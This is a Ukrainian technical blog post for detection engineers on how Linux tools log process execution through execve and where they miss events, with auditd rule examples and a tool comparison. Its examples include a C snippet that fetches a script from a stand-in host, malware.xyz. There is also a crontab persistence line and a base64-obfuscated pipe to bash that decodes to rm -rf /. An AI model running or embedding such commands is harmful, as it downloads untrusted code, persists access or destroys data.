Execve та Механізм Логування Процесів
Вступ
Мене завжди цікавило як саме Auditd чи Falco логують події, чому різні інструменти видають різні командлайни, і чому деякі події не логуються взагалі. Особливо нагальними ці теми стають після пентесту чи інциденту, тому у цьому пості я спробую заглибитись в механізм аудиту ОС та розповім як це допоможе інженерам та аналітикам.
Системні Виклики
Будь-яка програма взаємодіє з ОС - виводить текст, відкриває файли, чи створює нові процеси. Зазвичай, для таких задач автори програм користуються стандартними бібліотеками (як от glibc), що значно спрощують взаємодію з ОС та вносять додаткову стабільність.
Наступним кроком бібліотеки передають інструкції напряму до ОС через системні виклики (syscalls), яких є майже 500. Наприклад, створення процесу це execve, доступ до файлу це open, а мережеве з’єднання це socket. В результаті, механізм наступний:
- Нехай ви з Bash консолі запускаєте
/usr/bin/uname -a
- Bash звертається до функції стандартної бібліотеки
- Функція з бібліотеки створює системний виклик
execve
- ОС створює процес та повертає назад результат виконання
Немає простого способу обійти системний виклик, тому якщо ви моніторите виклики execve
та його аналоги - ви маєте повну видимість запуску процесів на системі, а отже бачите всі процеси малварі незалежно від того, які стандартні бібліотеки вона використовує. Усі інструменти які я знаю працюють саме за принципом моніторингу системних викликів, і це часто легко зрозуміти за їх конфігураційними файлами. Наприклад, в Auditd ви явно вказуєте сисколи через -S:
# Правило що моніторить запуск /usr/bin/whoami
-a always,exit -S execve -S execveat -F exe=/usr/bin/whoami
# Правило що моніторить зміну /etc/sudoers
-a always,exit -S open -S openat -F path=/etc/sudoers -F perm=w
Особливості Execve
Execve - ймовірно найбільш важливий для моніторингу системний виклик, тому що він контролює запуск процесів (аналог Sysmon події 1). Про нього і розповім далі.
Нижче ви бачите програму на C що завантажує певний скрипт через команду wget. Працює програма завдяки функції execl
з стандартної бібліотеки, яка вже робить системний виклик execve. Грубо кажучи, програма запускає wget http://malware.xyz/a.sh
:
#include <unistd.h>
int main() {
// execl(path, arg0, arg1, arg2, arg3, NULL)
execl("/usr/bin/wget", "wget", "http://malware.xyz/a.sh", NULL);
}
Командлайн та Arg0
Першою особливістю execve є аргумент arg0, в який прийнято вказувати назву програми (як от wget). Проте, ніхто не заборонить вам покласти будь-яку іншу строку в arg0 - до прикладу, helloworld:
execl("/usr/bin/wget", "helloworld", "http://malware.xyz/a.sh", NULL);
Результатом такої підміни буде те, що інструменти як Auditd, Sysmon, чи Htop сформують командлайн як helloworld http://malware.xyz/a.sh
, що не має сенсу. Falco натомість бере перший аргумент з іншого джерела, тому логування командлайну може відрізнятись від тули до тули.
Командлайн та Скрипти
Ще цікавіше логуються скрипти. Нехай ви хочете моніторити запуск команди lsb_release (показує версію дистрибутиву) та пишете правило Image=/usr/bin/lsb_release
. Далі, хакер в своїй малварі чи просто через консоль виконує наступне:
execl("/usr/bin/lsb_release", "lsb_release", "-a", NULL);
На жаль, ваше правило не спрацює, бо lsb_release є не виконуваним файлом, а скриптом. Коли управління доходить до ОС, вона читає shebang, бачить що скрипт потрібно запустити через інтерпретатор /bin/sh, а далі вже запускає /bin/sh з потрібними аргументами:
Логування такого процесу сильно відрізнятиметься від інтерпретатора (zsh/bash/python) та від інструменту (auditd/falco/etc.), проте зазвичай в логах буде щось як на зразку нижче:
Execpath: "/usr/bin/sh"
Commandline: "/bin/sh /usr/bin/lsb_release -a"
Execpath та Посилання
Абсолютний шлях до виконуваного файлу також може бути оманливим, якщо доступ до нього виконується через символьне посилання (symlink). На моїй Ubuntu 24.04, прикладами посилань є:
- Посилання
/bin
що вказує на “справжню” директорію/usr/bin
- Посилання
/usr/bin/python3
що вказує поточну версію/usr/bin/python3.12
Коли ви запускаєте /bin/whoami
, або коли раните Python команди через python3 script.py
- система переходить за посиланнями допоки не знайде виконуваний файл, назва та шлях якого можуть сильно відрізнятись від посилання. Як наслідок, рекомендую змінити ваші правила на:
# /bin є посиланням на /usr/bin, проте не завжди (!)
Image=/bin/curl -> Image IN(/usr/bin/curl, /bin/curl)
# Початкове правило не покриє python3.4 / python3.12
Image=*/python3 -> Image=*/python3*
Вбудовані Bash Команди
У попередньому розділі я навів приклади, коли логування оманливе. Проте є й деякі команди які не логуються взагалі. До прикладу, ви не знайдете в логах команд echo, printf, export, cd, або alias. Чому ж так?
Усі наведені команди є частиною командної оболонки Sh або Bash (shell builtins), а не окремим файлами десь в /usr/bin. Кожного разу коли ви запускаєте echo або cd, ваша командна оболонка не звертається до інших бінарників, а виконує задачу самостійно, тому й не робить системного виклику execve та не генерує вам логів.
Особливо неприємно втрачати видимість команд echo та printf, через які часто бекдорять файли або виконують команди, як на зразку нижче. На жаль, я не чув про опен-сорсні інструменти, що здатні логувати вбудовані команди, тому все що можу порекомендувати - це також моніторити .bash_history та орієнтуватись на інші індикатори, як от на зміну /etc/crontab чи запуск base64.
# Без логування echo ви не побачите що поклали в crontab
echo "* * * * * do_bad_stuff" >> /etc/crontab
# Без логування echo ви не побачите оригінальний пейлоад
echo "cm0gLXJmIC8=" | base64 -d | /bin/bash
Execve Проти Fork
Лінукс ядро надає з десяток системних викликів якими можна напряму чи опосередковано запустити процес. Про execve я вже розповів, проте є й інше, наприклад execveat та fork. В цьому розділі я поділюсь думками про моніторинг другого.
На відміну від execve, fork створює копію батьківського процесу. Простою мовою, умовний /bin/malware
через fork зможе запустити тільки процес /bin/malware
, і нічого більше. Цей системний виклик чудово підходить для мультизадачності та інших цілей, і може генерувати ледь не в 10 разів більше подій у порівнянні з execve.
Проте, оскільки через fork не вийде запустити інший бінарник, для хакерів цей сискол не такий корисний. Звісно, є певні техніки де fork грає ключову роль, проте моя суб’єктивна думка - краще зекономити на SIEM ліцензії та не моніторити fork взагалі, ніж пропустити реальну атаку серед терабайтів fork спаму. Особливо це стосується користувачів Elastic Defend, який збирає fork та exit за замовчуванням.
У Підсумку
Кожен інструмент моніторингу розробляє власні методи боротьби з описаними проблемами execve, тому важливо розуміти що міграція з одного інструменту на інший може поламати багато ваших правил. Якщо ж ви тільки на етапі вибору, мої рекомендації:
- Falco: Мій улюблений інструмент по всім параметрам, розуміє контейнери та k8s, обов’язково спробуйте
- Elastic / Інший EDR: Раджу не шукати альтернатив якщо у вас вже є EDR що логує всі процеси та підтримує SIEM правила
- Sysmon for Linux: Підійде якщо ви вже знайомі з сисмоном, моніторинг контейнерів не важливий, та маєте 4.15+ ядро
- Auditd: Жахливий вивід, проте це найбільш стабільний та доступний інструмент, вбудований в кожне ядро
- OSquery: Цікавий інструмент, також працює на macOS, проте дуже вибагливий по ресурсах, особливо RAM